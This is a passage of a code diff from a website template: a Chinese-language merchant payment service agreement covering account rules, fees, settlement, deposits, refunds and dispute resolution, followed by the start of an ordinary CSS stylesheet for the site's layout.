    4.1账号开立和身份验证。你在申请开立系统商户号时,应向系统如实提供相关的个人信息。你应保证所提交的上述资料的准确性、真实性、完整性。你上述信息发生变更,或你迁址、停业、变更域名或联系电话等资料信息,应提前通知系统,否则,系统有权视具体情况暂停服务,你未及时通知导致的一切投诉和纠纷,均由你承担。系统有权根据国家法律法规、规章制度、行业规范、政策要求的规定,要求你补充提交相关信息和资料,你逾期未提交或未通过系统核验的,系统有权解除本协议或暂停你系统商户号的全部或部分功能。

    4.2账号使用。你不得把系统商户号、系统提供的技术接口、安全协议及证书用于本协议范围以外的用途,也不得出租、转让给第三方使用。你不得将其他商户的交易假冒成自己的交易与系统结算。你应充分了解并清楚知晓出租、出借、出售、购买账号的相关法律责任和惩戒措施,承诺依法依规开立和使用你的账号。

    4.3禁止存储用户敏感信息。你不得存储用户银行账户密码、银行卡的磁道信息或芯片信息、银行卡验证码和有效期等敏感信息,不得泄露用户信用卡信息和借记卡信息等。

    4.4账号保管和挂失。你应妥善保管系统商户号及其密码,以及手机短信验证码、API Key等。系统商户号下的一切行为均视为你的行为。若你需对系统商户号挂失,应及时与客服人员联系并按照客服人员的指引进行操作,若客服人员要求你提供书面证明材料才能进行下一步挂失操作的,你应及时提交书面证明材料。若你发现系统商户号被盗用,应立即向系统发起挂失。因你管理不善导致系统商户号被盗用的,一切损失由你自行承担。

    4.5止付和撤销。由于系统系统的实时性和不可更改性,你向系统发起的任何支付指令,在系统执行后,均为不可撤销或更改的。支付指令一旦被系统执行,你不得要求止付、更改或撤销。

    4.6规范使用。未经系统书面授权,你不得转载、复制、截取、篡改系统的商标、标识、Logo等内容或制作与该内容有关的衍生产品。未经系统另行书面授权,除了在商户中心登记的域名外,你不得在任何网页或APP页面展示与系统有关的链接、弹窗或与H5支付有关的内容及其衍生产品。

    4.7商户系统安全与维护。你应负责自身的硬件平台搭建并承担相关的设备费用及通讯费用。你应严格按照本服务和商户平台的接入技术规范来建设和运行自己的计算机系统并确保自身系统的安全性。你应在系统交易过程中验证系统请求和响应数据包中的签名真实性,并保障支付信息数据传输过程中的安全性、保密性。你应向系统明确各方数据传输协议、安全机制、硬件需求以及物理连接等诸多技术细节的具体需求,并妥善处理系统反馈的各种交易异常情况。

    4.8真实交易背景。你承诺发起的本服务交易基于真实的交易,不得利用本服务从事虚假交易。

    4.9保存订单信息。你应保证订单信息的合法性、真实性、准确性和完整性。你在受理用户订单时,须记录包括但不限于以下信息:用户姓名、手机号码,订购产品的产品名称、产品编号、产品单价、合计索取价格、配送信息。你应按系统的要求向系统提供详细的、真实可信的交易字段,包括但不限于订单号、商品名称、商品描述等。你还应妥善保留有关交易数据和凭证,包括但不限于订单和用户接受货物时签字的有关单据,由交易发生之日起或本协议终止之日起,至少保留三年。在协议有效期内和协议终止之日起三年内,对系统提出的查询通知及调单要求,你应在接到系统通知后,以信件或传真的方式在两个工作日内将相关单据交付给系统。

    4.10第三方网络交易平台。若你经营第三方网络交易平台,不得利用本服务从事非法支付结算业务,并应配备相应的系统、人员和完善的制度。你应当识别二级商户的身份信息和经营资质,并收集、保存二级商户的营业执照、税务登记证、组织机构代码证、法定代表人身份证明等,若二级商户从事国家规定专营、专控或需要取得国家前置行政许可的经营活动,还应提供该相关资质证照。你应保证二级商户所提交的上述资料的准确性、真实性、完整性。同时,你还应收集、保存并向系统传输二级商户的交易订单信息,包括但不限于:用户姓名、手机号码,订购产品的产品名称、产品编号、产品单价、合计索取价格、配送信息。你还应妥善保留二级商户的交易数据和凭证,包括但不限于订单和用户接受货物时签字的有关单据,由交易发生之日起或本协议终止之日起,至少保留五年。在协议有效期和协议终止之日起五年内,对系统提出的查询通知及调单要求,你应在接到系统通知后,以信件或传真的方式在两个工作日内将相关单据回复给系统。对系统提出的风险交易,你应按系统要求对其二级商户交易进行有效识别、追溯及在必要时实施暂停业务管理的措施,同时承担因二级商户发展和管理不善造成的全部风险损失,你应保证二级商户不再发展下一级商户。

    第三方网络交易平台,指在网络商品交易活动中为交易双方或者多方提供网页空间、虚拟经营场所、交易规则、交易撮合、信息发布等服务,供交易双方或者多方独立开展交易活动的信息网络系统。

    二级商户,指在你经营的第三方网络交易平台中销售商品或服务的自然人或企事业单位。

    4.11第三方网络交易平台的风险防范。若你经营第三方网络交易平台,则你需对二级商户的交易行为的真实性、合法性进行监控和管理,你应防止二级商户利用系统从事信用卡套现、洗钱、虚假交易等违法违规活动。若出现二级商户利用系统从事信用卡套现、洗钱、虚假交易等违法违规活动的,则系统有权解除本协议,并追究你的违约责任。

    4.12反套现、反洗钱。你不得主动或协助持卡人进行信用卡套现、洗钱、交易分单等违法经营行为,不得出现虚假申请、恶意倒闭等严重风险行为,否则,系统有权暂停或终止提供本协议服务,并将你的信息报送至中国人民银行和公安部及相关监管机构。

    4.13实物和虚拟。你需利用本服务同时经营实物类和虚拟类的商品或服务时,应当针对实物类和虚拟类的商品或服务分别申请系统商户号,不得用同一系统商户号同时经营实物类和虚拟类的商品或服务。否则,系统有权解除本协议,并追究你的违约责任。

    实物类,指需要物流配送的实物商品或需要记录和核实消费者身份信息的商品或服务;虚拟类,指非实物且不记录购买者身份信息,也无需物流配送的商品或服务。

    4.14安全守则。你不得对系统的计算机系统和程序采取反向工程手段进行破解,不得对前述系统和程序(包括但不限于源程序、目标程序、软件文档、运行在本地电脑内存中的数据、客户端至服务器端的数据、服务器数据等)进行复制、修改、编译、整合和篡改,不得修改或增加系统提供的任何服务的软件系统的原有功能。

    4.15你应切实维护消费者合法权益,不得对采用不同支付方式的消费者采取歧视性措施。

    4.16你应当遵守的其他义务:

    (1)不得将签购单、签购结算单、业务受理标识牌、终端机具用于系统核准范围以外的用途,也不得给协议许可范围以外的第三方使用;

    (2)不得将系统接口委托或转让给第三方;

    (3)不得招聘无本人身份证原件的人员作为收银员,不得让未经培训合格的收银员操作受理终端;

    (4)金饰店、珠宝店、名牌钟表店、金银币专卖店等风险较高的你必须加装录像监控设施,对支付过程进行清晰记录,录像资料保留时间不少于3个月;

    (5)对单笔交易金额超过(含)5万元人民币的系统交易核对用户身份证原件;

    (6)根据协议约定规范受理系统,在协议有效期内不得拒绝受理系统;

    (7)不得代其他商户发起交易,不得转卖、租借受理终端(网络支付接口)和银行结算账户;

    (8)不得要求其他商户代理发起交易,不得使用转卖、租借的受理终端(网络支付接口)和银行结算账户;

    (9)妥善保管交易数据信息,确保只有授权人员接触,建立健全的内部结算管理制度;

    (10)不得向使用消费者征收任何附加费或额外费用,或提供低于现金支付水平的服务;

    4.17保障消费者合法权益。你应切实维护用户合法权益,确保使用各种支付方式的用户均享受一致性公平待遇,不得向使用特定支付方式的用户转嫁或变相转嫁系统收取的服务费用,不得无理拒绝用户使用已经开通的支付方式。

    五、服务费用和交易结算

    5.1系统手续费(含税)

    5.1.1你使用本服务,应向系统缴纳系统手续费(以下简称”支付手续费”)。

    5.1.2系统将从你的每笔交易款中扣除一定费率的支付手续费,支付手续费的费率以商户平台核准记录的为准;在合作过程中,你可能因满足相关优惠条件而在一定期限内享受系统给予的优惠费率,当你不再满足优惠条件或优惠期限届满时,系统有权将费率恢复为原有费率,具体以商户平台核准记录的为准。

    5.1.3若遇国家政策调整,或中国人民银行、合作机构的政策调整,系统有权据此调整支付手续费率并对你进行通知,你在收到系统通知后五个工作日内对调整后的支付手续费率未提出书面异议的,按调整后的费率执行。双方无法就费率变更达成一致意见的,可终止本协议。

    5.2误差

    各方确认并同意,涉及费率结算如因小数点后两位进位而产生微小误差,各方均予以认可。

    5.3交易结算

    5.3.1系统在扣除支付手续费后,将剩余交易款记账至你的系统商户号。

    5.3.2你的提现账户为你申请本服务时提交的同名银行账户或其他存在合法资金管理关系的单位银行账户,若因你或银行的原因导致交易款项无法按时提现至你提交的银行账户的,系统不承担任何责任。

    5.3.3若你需变更提现账户或需授权结算,应与系统另行签订补充协议或在商户平台自助修改。因你变更账户或指定收款人但未及时通知系统导致增加的额外成本或任何损失,由你承担。

    5.3.4对于发生在T日的交易,若你没有进行特殊设置或操作,系统将按照商户平台核准记录的期限将扣除支付手续费后的交易款项提现至你银行账户,款项到账时间取决于银行系统的清算周期(若你是金融机构或是从事金融业务的其他机构,系统有权根据系统商户平台公告的时间,定期对你的系统商户号余额进行清零,并将对应资金提现至你的银行账户。你应在商户号被清零后及时充值,以免影响手续费、退款等资金结算)。

    5.3.5你可根据商户平台和系统客服的指引申请变更提现规则,最终以商户平台核准记录的为准。

    5.3.6若你接入本服务不满90日或者接入本服务后连续正常交易不满30日,系统不提供T+0资金提现服务,系统将该类你T日的交易资金记账至系统商户号的,你不得在T日划转该交易资金。无论你何时接入本服务,系统均有权根据你的经营状况、业务变化及实际赔付情况调整提现周期,并以电子邮件通知的方式通知你。

    5.3.7你与系统对账数据不一致的,以系统数据为准。

    5.3.8若你要求系统开具发票,应在首次开票前按照系统要求及时提交准确、完整的发票信息,系统每月就系统手续费向你开具上月增值税服务费发票。若你要求开具增值税专用发票,应向系统提交相关资质材料。

    六、保证金

    6.1系统有权要求你缴纳风险保证金,保证金额度以商户平台核准记录的为准。在本协议有效期内,风险保证金款项冻结于你保证金账户中,你不得提前解冻、提取或使用。

    6.2系统有权根据你的经营状况、业务变化及实际赔付情况调整你应当缴纳的保证金额度,并以电子邮件通知的方式通知你补足保证金金额,如你未能在收到通知后的五个工作日内补足保证金,则系统有权暂停为你提供服务。如你在收到上述通知后的三十天内未补足保证金,系统可单方解除本合同而无需承担任何法律责任。

    6.3若你在使用公众账号和本服务过程中没有违约行为,且你主动注销本服务满一年仍未受到任何第三方投诉或发生交易纠纷的,应解冻保证金账户的风险保证金,你可自主提取保证金本金,在此之前,你无权动用保证金本金,保证金解冻后无息归还你。

    6.4若你违反国家法律、法规、政策、法令或你违反对用户的承诺或违反与系统的约定致用户或系统受损时,系统有权直接使用你缴纳的保证金对用户或系统进行赔付,保证金不足以赔偿的,系统可以直接从你的待结算款项中扣划,仍不足以赔偿的,可以继续向你追偿。

    七、退款条款

    对于你的交易中出现的退款情形,按如下规则处理:

    7.1当你向系统提出退款请求时,你在自己的系统商户号中应有足够资金用于退款,系统有权直接从你的系统商户号中扣除退款金额完成退款,如因你资金不足导致无法退款的,其后果由你自行承担。系统按照你的退款请求处理退款时,如因银行原因或用户原因导致退款失败的,系统可将退款金额退至你的系统商户号,你可再次发起退款请求或自行处理退款。

    7.2退款时,系统不再另行收取交易手续费,但若银行方面需要向系统另行收取相关费用的,则此费用应由你自行承担,系统可在为你垫付该费用后在你的交易款中扣除。

    7.3你负责解决和承担用户拒付交易款项而导致的退款纠纷或责任。

    八、保密条款

    8.1除本协议另有约定外,未经一方书面同意,任何一方不得将本协议内容、用户个人信息、用户支付信息以及接口技术、安全协议及证书等透露给第三方。

    8.2各方对在履行协议中获得的商业机密和技术秘密负保密责任。出现下列任一情况时,系统有权披露你的相关商业信息:

    (1)人民银行或银保监会、证监会等金融业监管机构要求系统提供你的相关商业信息的;

    (2)公安机关、人民法院、人民检察院或有权行政机关要求系统提供你的相关商业信息的;

    (3)用户投诉,要求系统提供你的相关商业信息,经系统查实后认为可以提供的。

    本协议所称商业信息包括但不限于你与用户之间的交易单号、交易凭证、资金流水等交易信息。

    8.3各方保证其雇员及代理人履行本条的保密义务。

    8.4上述保密义务在本协议终止后五年内有效。

    九、违约责任

    9.1各方中的任何一方违反本协议中所做约定的义务,均构成违约。

    9.2你有下列情形之一的,系统有权单方面解除本协议并要求你承担相关赔偿责任:

    (1)直接或间接参与欺诈,或出租、出借、出售、购买银行账户(含银行卡)或支付账户,或在网上买卖POS机(包括MPOS)、刷卡器等受理终端,或涉嫌实施其他违法犯罪活动的;

    (2)经营及财务状况恶化无法正常经营,或被全国企业信用信息公示系统列入“严重违法失信企业名单”,或单位注册地址不存在或者虚构经营场所的;

    (3)你或其法定代表人、负责人被中国支付清算协会、银行卡清算机构、其他国家机关、企事业单位列入黑名单,或存在被国家机关、行业协会的处罚记录的;

    (4)实施违规操作,或违反本协议、《系统服务条款》、《微信公众平台服务协议》等约定,且经指出拒不改正或在合理期间内虽有改正但无法达到系统整改要求和目标的;

    (5)无理拒绝或故意拖延系统交易查询、调单查询或监查要求的;

    (6)进入破产程序、解散、营业执照被吊销;

    (7)实施有损系统或腾讯利益行为的;

    (8)违反本协议或利用系统提供的服务从事非法业务的;

    (9)你的软硬件系统存在安全问题,经系统通知后拒不整改的;

    (10)出现风险事件或经系统判断交易异常的;

    (11)违反系统的相关规则和制度的。

    十、账号注销

    10.1发生下列情形之一的,系统有权注销你的系统商户号,法律另有规定或本协议另有约定的除外:

    (1)你主动申请注销系统商户号的;

    (2)本协议解除或终止的;

    (3)你利用本服务从事非法活动的;

    (4)你违反本协议或违反与系统签订的其他协议的。

    10.2无论你的系统商户号是否被注销,系统均有权依据法律规定或国家机关的合法要求,冻结、扣划你系统商户号中的资金。

    十一、免责条款

    11.1因受不可抗力影响而不能履行或不能完全履行本协议的一方可以免除责任。不可抗力是指本协议各方不能预见、不能避免、不能克服的客观情况。此外,鉴于网络之特殊属性,发生包括但不限于下列任何情形导致系统不能履行本协议下义务的,各方可以免责:

    (1)黑客攻击、计算机病毒侵入或发作;

    (2)计算机系统遭到破坏、瘫痪或无法正常使用而导致信息或纪录的丢失、系统不能提供本协议项下之服务的;

    (3)电信部门技术调整导致之重大影响的;

    (4)因政府管制而造成服务终止的;

    (5)其它非各方原因造成的。

    11.2遇上述不可抗力事件的任何一方,应将该事件立即书面通知其他方。各方按照事件对协议履行的影响程度,再行决定是否继续履行本协议。

    十二、风险提示及特别约定

    12.1各方对于“中国国内电子商务环境尚未成熟,电子商务立法以及信用体制还不完善”的现状以及开展电子商务业务存在的风险性均完全知悉,各方均承诺采取合理的风险防范措施,以尽量避免或减小风险。

    12.2本服务交易过程中,你应积极防范银行卡持卡人拒付风险,及时解决交易中出现的问题:

    (1)若在交易中如出现包括但不限于交易不真实、欺诈、伪冒交易、持卡人账户信息泄漏或你违反国家法律规定或你违反对用户的承诺以及你违反与系统的约定之情形,你应自行承担上述情形造成的全部损失;

    (2)若在交易中如出现持卡人否认交易、持卡人拒付、集中转入分散转出等可疑情形的,你应依据本协议第4.8和4.9条之要求向系统提供相应的交易凭证,若你怠于提供凭证,或你提供的凭证不符合相关行业内标准,或在系统书面通知(含电子邮件通知)后你未及时停止可疑交易、控制相应资金的等,你应自行承担上述情形造成的全部损失。

    你因上述情形给系统造成损失的,系统有权直接从你的保证金中扣回与损失金额同等的金额,你需及时补足保证金。保证金不足以赔偿的,系统可以直接从你的待结算款项中扣划,仍不足以赔偿的,可以继续向你追偿。

    12.3你在进行支付交易的过程中,应严格遵守中国人民银行网上银行业务和信用卡交易相关的政策法规,不得进行虚假交易、非法套现、洗钱等行为。你不得直接或变相从事互联网赌博、色情平台,互联网销售彩票平台,非法外汇、贵金属投资交易平台,非法证券期货类交易平台,代币发行融资及虚拟货币交易平台,也不得未经监管部门批准通过互联网开展资产管理业务以及未取得省级政府批文的大宗商品交易场所等非法交易,否则系统有权终止为其提供支付结算服务。

    12.4如你申请开通大额支付功能,应确认并同意遵守如下条款:“你保证将系统所提供的大额支付功能用于实名制业务,否则,你应承担因违反上述承诺而造成的一切风险和法律责任,你应对受损方作出无条件的先行赔付。

    实名制业务,指用户使用系统提供的在线支付服务购买商品或服务时,该用户提交了所购买商品或服务的最终接收方(或服务的最终受益方)的姓名、身份证号码等真实身份信息的业务

    十三、知识产权

    13.1系统在本合作中提供的内容(包括但不限于商标、标识、网页、文字、图片等)的知识产权归系统所有。

    13.2除另有特别声明外,系统在本合作中提供的软件系统、技术接口、安全证书等所依托的著作权、专利权及其他知识产权均归系统所有。

    13.3上述知识产权均受到法律保护,未经系统或相关权利人许可,不得以任何形式进行使用或创造相关衍生作品。

    13.4系统对带有系统字样、标识、logo、图片等信息的物料、宣传资料和扫码设备享有知识产权,你不得在经营场所实施或协助、放任他人实施替换、遮盖、涂抹、藏匿、毁坏带有系统字样、标识、logo、图片等信息的物料、宣传资料和扫码设备的行为,否则,你应按照系统的要求恢复原状、赔偿损失。

    十四、协议变更

    系统有权根据需要不时地制定、修改本协议,如本协议有任何变更,财付将对变更事项在商户平台进行公告。如你不同意相关变更,必须立即以书面的方式通知系统终止为你提供服务。任何修订或新协议将按照法律法规及监管规定在微信公众平台上公布生效。你登录或继续使用服务即表示你接受经修订的协议。

    十五、适用法律及争议解决

    15.1本协议之解释、适用、争议解决等一切事宜,均适用中华人民共和国大陆地区法律。

    15.2因本协议产生任何纠纷时,各方应友好协商,协商不成的,各方应将争议提交系统所在地有管辖权的人民法院诉讼解决。

    十六、协议有效期、自动续期和提前终止协议

    16.1本协议的有效时间以商户平台确认的时间为准,默认为长期有效;除本协议5.1.2、5.1.3条约定之情形外,若系统在协议有效期内提出费率变更请求,并以微信消息、电子邮件或商户平台信息等形式通知你,自信息发出之日起30日内,你继续使用本服务的,系统有权自30日届满之日起按照变更后的费率向你收取手续费,并从你的待结算款中扣除。

    16.2各方有权基于各自的营运需要提前终止本协议,且无需承担任何法律责任。需提前终止本协议的,主动提出方应提前一个月以书面或电子邮件形式通知各方。

    16.3协议解除或终止后,涉及到保证金、退款和保密的条款依然有效,各方应继续遵照执行。

    16.4本协议一式貳份,双方各执壹份,具有同等法律效力。

    + +
    +
    +
    +
    + +
    + + \ No newline at end of file diff --git a/template/default/assets/css/common.css b/template/default/assets/css/common.css new file mode 100644 index 0000000..fbaa89f --- /dev/null +++ b/template/default/assets/css/common.css @@ -0,0 +1,1119 @@ +body { + font-size:14px; + font-family:"Helvetica Neue",Helvetica,"Hiragino Sans GB",STHeitiSC-Light,"Microsoft YaHei","微软雅黑",Arial,sans-serif; + color:#888 +} +.logo { + display:inline-block; + width:160px; + height:40px; + background:url(logo.png) no-repeat; + background-size:95%; + background-position:0 0; + position:relative; + top:13px; + left:-10px +} +.container { + margin-right:auto; + margin-left:auto +} +@media (min-width:768px) { + .container { + width:750px +} +}@media (min-width:992px) { + .container { + width:970px +} +}@media (min-width:1200px) { + .container { + width:1170px +} +}img { + vertical-align:middle; + max-width:90% +} +img.user_icon { + height:36px; + border-radius:50% +} +::-webkit-scrollbar { + width:10px; + height:10px +} +::-webkit-scrollbar-button:vertical { + display:none +} +::-webkit-scrollbar-track:vertical { + background-color:#000 +} +::-webkit-scrollbar-track-piece { + background-color:#f5f5f5 +} +::-webkit-scrollbar-thumb:vertical { + margin-right:10px; + background-color:#a6a6a6 +} +::-webkit-scrollbar-thumb:vertical:hover { + background-color:#aaa +} +::-webkit-scrollbar-corner:vertical { + background-color:#535353 +} +::-webkit-scrollbar-resizer:vertical { + background-color:#ff6e00 +} +::-webkit-scrollbar-thumb { + border-radius:5px +} +.address footer { + min-width:320px; + width:100%; + position:relative; + overflow:hidden; + background:#14181C +} +.address footer ul { + margin:0; + float:left; + padding-top:50px; + width:25% +} +.address footer ul li { + list-style:none; + line-height:40px; + color:#ccc +} +.address footer ul li a { + color:#898B8D; + text-decoration:none +} +.address footer ul li a:hover { + color:#e8e7e7 +} +.address footer .normal { + width:auto +} +.xinxi { + height:100px; + line-height:150px; + font-size:12px; + color:#686A6B; + width:100%; + text-align:center +} +.loading { + text-align:center; + margin-bottom:20px; + padding:10px 50px +} +.loadingRepo .loading { + min-height:300px; + height:300px +} +.comment-head { + clear:both; + margin-bottom:10px; + margin-top:50px +} +.footer-head { + font-size:18px +} +.h3 { + font-size:24px; + font-family:inherit; + font-weight:500; + line-height:1.1; + color:inherit +} +.front-show { + height:300px; + width:100%; + position:relative +} +.front-show { + height:300px; + width:100%; + position:relative +} +.front-show .front-text { + position:absolute; + left:40%; + top:100px; + color:#fff; + font-size:1.5em +} +.front-show .front-text a { + color:#eee; + margin-right:26px; + opacity:.8; + cursor:pointer +} +.front-show .front-text a:hover { + opacity:1 +} +.front-show .front-text .default-label { + opacity:1; + color:#fff +} +.front-show .mirror-search { + position:absolute; + top:140px; + width:50%; + left:28%; + font-size:1.6rem; + color:#eee +} +.front-show .mirror-search .send-search { + width:80px; + height:50px; + background:#fff; + border-radius:3px; + color:#127BBA; + display:inline-block; + cursor:pointer; + border:0; + line-height:50px; + text-align:center; + font-size:1.8rem +} +.front-show .mirror-search .selectType { + width:100px; + float:left; + line-height:48px; + border-radius:3px 0 0 3px; + border:1px solid #fff; + border-right:0; + cursor:pointer +} +.front-show .mirror-search .selectType i { + margin-left:10px; + margin-right:5px; + transition:all .2s +} +.front-show .mirror-search .selectType i.rotate { + transform:rotate(90deg) +} +.front-show .mirror-search #typeList { + background:0 0; + color:#fff; + border:1px solid rgba(255,255,255,.8) +} +.front-show .mirror-search #typeList li:hover { + background:rgba(255,255,255,.1) +} +.front-show .mirror-search #typeList li { + background:rgba(59,164,210,0) +} +.front-show .mirror-search .image-search-input { + height:50px; + width:60%; + background:0 0; + border:1px solid #fff; + text-indent:15px; + vertical-align:bottom; + border-radius:0 3px 3px 0 +} +.front-show .mirror-search .image-search-input::-webkit-input-placeholder { + color:#eee +} +.front-show .mirror-search .image-search-input:-moz-placeholder { + color:#eee +} +.front-show .mirror-search .image-search-input::-moz-placeholder { + color:#eee +} +.front-show .mirror-search .image-search-input:-ms-input-placeholder { + color:#eee +} +.front-show .search-notice { + color:#eee; + opacity:.8; + font-size:1.2em; + line-height:40px; + letter-spacing:2px +} +.front-show .front-label { + font-size:1.2em; + line-height:40px; + letter-spacing:2px +} +.front-show .front-label a { + color:#eee; + margin-right:20px; + opacity:.8 +} +.front-show .front-label a:hover { + opacity:1 +} +.front-show::before { + content:''; + position:absolute; + top:0; + left:0; + width:100%; + height:100%; + background:url(../images/hub.banner.jpg) no-repeat; + background-size:100% +} +.front-mirror .col-xx-4:nth-of-type(1) { + margin-left:0 +} +.front-mirror .col-xx-4:nth-of-type(4) { + margin-left:0 +} +.front-mirror .col-xx-4:nth-of-type(7) { + margin-left:0 +} +.recommend .col-xx-4:nth-of-type(1) { + margin-left:0 +} +.recommend .col-xx-4:nth-of-type(4) { + margin-left:0 +} +li .font_size { + padding:5px 15px +} +.logo-head .ant-menu { + line-height:65px; + border:0 +} +.logo-head .ant-menu .go_console { + display:block +} +.logo-head .ant-menu .go_logout { + display:block +} +.logo-head .ant-menu .li-new { + display:block +} +.logo-head .ant-menu>li { + float:right +} +.logo-head .ant-menu>li li { + float:left +} +.footer_icon { + width:50px; + display:inline-block; + opacity:.8 +} +.hot-info { + height:50px; + overflow:hidden; + line-height:50px; + border:1px solid #DADADA; + background:#f5f6f6 +} +.item-panel { + height:220px; + width:100%; + border:1px solid #e5e5e5; + border-radius:2px; + position:relative; + overflow:hidden; + transition:all .3s +} +.item-img { + width:100%; + height:150px; + position:relative +} +.mirror-hint-info { + padding:5%; + width:100%; + height:100px; + text-align:center +} +.item-info { + height:70px; + overflow:hidden; + border-top:1px solid #e5e5e5; + margin-top:-1px +} +.img-icon { + width:100%; + height:70px; + text-align:center; + position:relative; + top:20px +} +.img-icon .master-approve { + position:absolute; + right:5px; + width:70px; + text-align:center; + top:-20px +} +.img-icon .btn-approve { + display:none; + margin-top:8px; + border:1px solid #C9C9C9; + padding:3px; + font-size:12px; + color:#999; + background:#F8F8F8 +} +.img-icon .master-approve:hover .btn-approve { + display:inline-block +} +.recommend-ranking { + height:50px; + overflow:hidden; + line-height:50px; + border:1px solid #dadada; + padding-left:20px +} +.icon-small { + height:60px; + margin:0 auto +} +.reg-hr { + line-height:25px; + border-top:1px solid #dadada +} +.dodon-list { + border:1px solid #e5e5e5; + border-top:0; + border-right:0 +} +.small-reg-itme { + width:45%; + height:90px; + margin-left:40px; + text-align:center; + border:1px solid #dadada +} +.ant-menu-sub.ant-menu-inline>.mirror-li,.ant-menu-vertical>.mirror-li { + min-height:35px; + height:auto; + line-height:normal +} +.ant-menu-sub.ant-menu-inline>.mirror-li:hover { + background:0 0 +} +.app-name { + line-height:35px; + margin-left:20px; + cursor:pointer +} +.border-radius { + border-radius:50%; + display:block; + max-width:100% +} +.user-head-img { + float:left; + height:40px; + width:40px; + margin-right:10px; + padding-top:5px +} +.ranking-info { + height:50px; + line-height:50px +} +.ranklist { + border:1px solid #e5e5e5; + border-top:0 +} +.mirror-info { + padding:10px 15px; + border:1px solid #e5e5e5; + border-top:0; + line-height:35px +} +.mirror-info button { + margin-right:5px +} +.mar-top-3 { + margin-top:30px +} +.mar-top-2 { + margin-top:20px +} +.mar-top-1 { + margin-top:10px +} +.pad-right-3 { + padding-right:3% +} +.cursor { + cursor:pointer +} +.drop-cursor { + cursor:no-drop +} +a.default { + color:#666 +} +.btn-link { + font-weight:400; + color:#2db7f5; + border-radius:0 +} +.btn-deploy { + border:1px solid; + padding:5px 8px; + border-radius:3px; + transition:all .3s +} +.btn-deploy:hover { + background:#2db7f5; + color:#fff; + border-radius:3px; + border-color:transparent +} +.hot-docker { + text-align:center; + color:#fff; + font-size:20px; + line-height:50px +} +#q { + height:50px; + font-size:16px; + width:100%; + border:0; + border-radius:5px 0 0 5px; + text-indent:10px +} +.dropdown-list { + padding-left:7px +} +form .ant-input-group .ant-select-selection--single { + height:50px +} +form .ant-input-group .ant-select-selection--single .ant-select-selection__rendered { + line-height:50px +} +.btn { + display:inline-block; + padding:6px 12px; + margin-bottom:0; + font-size:14px; + font-weight:400; + line-height:1.42857143; + text-align:center; + white-space:nowrap; + vertical-align:middle; + -ms-touch-action:manipulation; + touch-action:manipulation; + cursor:pointer; + -webkit-user-select:none; + -moz-user-select:none; + -ms-user-select:none; + user-select:none; + border-radius:4px +} +.item-panel .item-info .ant-menu-item { + height:auto; + line-height:35px +} +.hot-mirror-row { + height:50px; + line-height:75px; + font-size:1.2em; + display:block +} +.mirror-row-border { + display:inline-block; + width:15px; + height:30px; + border-left:8px solid #FF9008; + position:relative; + top:8px +} +.mirror-content { + margin-bottom:50px; + padding-top:40px +} +pre { + background:#f5f5f5; + padding:9.5px; + border-radius:4px; + font-size:14px; + display:block; + word-break:break-all; + word-wrap:break-word +} +p,pre { + margin-bottom:10px +} +.h4 { + font-weight:600; + line-height:1.1; + color:inherit; + font-size:18px +} +.table_list img { + max-width:100% +} +.item-panel:hover { + background:#F8F8F8; + box-shadow:0 0 8px rgba(0,0,0,.2) +} +.ant-select { + font-size:14px +} +.images { + float:left; + width:150px; + height:140px; + border:1px solid #DCDCDC; + background:#fff; + display:table; + margin-right:30px; + position:relative +} +.imgIcon { + margin:0 auto +} +.type-info { + float:left; + height:100%; + width:27% +} +.ant-input-group { + width:100% +} +#click-copy { + left:74% +} +.registry-owner { + border:1px solid #DCDCDC; + background:#fff +} +.registry-owner i { + display:inline-block; + width:23px; + vertical-align:middle; + margin-left:15px; + margin-right:5px; + text-align:center +} +.name-head { + background:#F9F9F9; + line-height:60px!important; + height:60px!important; + border-bottom:1px solid #DCDCDC +} +#detail-contents { + background:#fff; + border:1px solid #DCDCDC; + min-height:150px; + position:relative; + padding:30px 15px +} +.ant-menu-vertical>.ant-menu-item,.ant-menu-inline>.ant-menu-item,.ant-menu-vertical>.ant-menu-submenu>.ant-menu-submenu-title,.ant-menu-inline>.ant-menu-submenu>.ant-menu-submenu-title { + font-size:14px; + padding-left:16px +} +.exception.ant-menu-item-active,.ant-menu-item.exception { + border-bottom:0; + padding:0 10px +} +.ant-menu-item.exception:nth-of-type(1) { + padding-right:0 +} +.anticon-arrow-left { + font-weight:700 +} +.ant-form-item>.input-label { + line-height:30px; + font-size:14px; + text-align:left +} +.ant-tabs-nav .ant-tabs-tab>.ant-tabs-tab-inner { + line-height:45px +} +.body-center { + overflow:hidden; + padding-bottom:80px; + padding-top:20px +} +.pull-mirror { + position:absolute; + top:20px; + right:20px +} +.table_list { + width:100%; + border:1px solid #DCDCDC; + height:auto +} +.table_list>.ant-tabs-content { + padding:0 15px; + word-wrap:break-word; + word-break:break-all; + min-height:150px +} +.user-table-info { + width:100%; + border-top:1px dashed #999 +} +.user-table-info td { + line-height:40px; + text-align:center +} +.text-center { + text-align:center; + line-height:40px +} +.img-responsive { + display:block; + margin:0 auto; + max-width:100%; + max-height:100% +} +.uaer-main { + border-radius:3px; + border:1px solid #999; + margin-top:30px; + width:90%; + position:absolute +} +.main-img { + width:70px; + margin:10px auto +} +.main-img img { + height:70px; + border-radius:50% +} +.item-info { + height:70px; + overflow:hidden; + padding:0 20px; + border-top:1px solid #e5e5e5; + margin-top:-1px +} +.item-info .titleber { + line-height:35px; + text-overflow:ellipsis; + overflow:hidden; + white-space:nowrap +} +.mirror-text { + line-height:25px; + overflow:hidden; + text-align:center; + width:100%; + height:48px +} +.text-overflow { + overflow:hidden; + white-space:nowrap; + text-overflow:ellipsis +} +.span5 { + width:50%; + float:left +} +.span4 { + width:38%; + float:left +} +.span3 { + width:30%; + float:left +} +.span2 { + width:20%; + float:left +} +.box { + border:1px solid #999; + border-radius:5px; + transition:all .5s ease; + overflow:hidden +} +.box:hover { + border-color:#ff8c00 +} +.sendMirror button { + opacity:0; + transition:opacity .3s ease +} +.box:hover .sendMirror button { + opacity:1 +} +header { + box-shadow:0 3px 3px rgba(0,0,0,.175); + position:relative; + top:0; + width:100%; + font-size:1.15em; + z-index:10 +} +header .default .doc { + position:relative; + left:5px +} +header .logo_img { + color:#666 +} +header .logo_img .user_icon { + position:relative; + left:5px +} +header .logo-head .ant-menu .ant-menu-submenu-horizontal .ant-menu .ant-menu-item { + padding:0; + width:100%; + text-align:center +} +.default i.anticon,.logo_img i.anticon { + font-size:12px; + margin-right:6px; + transition:all .3s; + position:relative; + left:10px +} +.ant-menu-submenu-horizontal:hover .default i.anticon { + transform:rotate(180deg) +} +.ant-menu-submenu-horizontal:hover .logo_img i.anticon { + transform:rotate(180deg) +} +.goback { + position:relative; + top:-10px; + color:#666; + line-height:40px +} +.ant-spin-spining { + 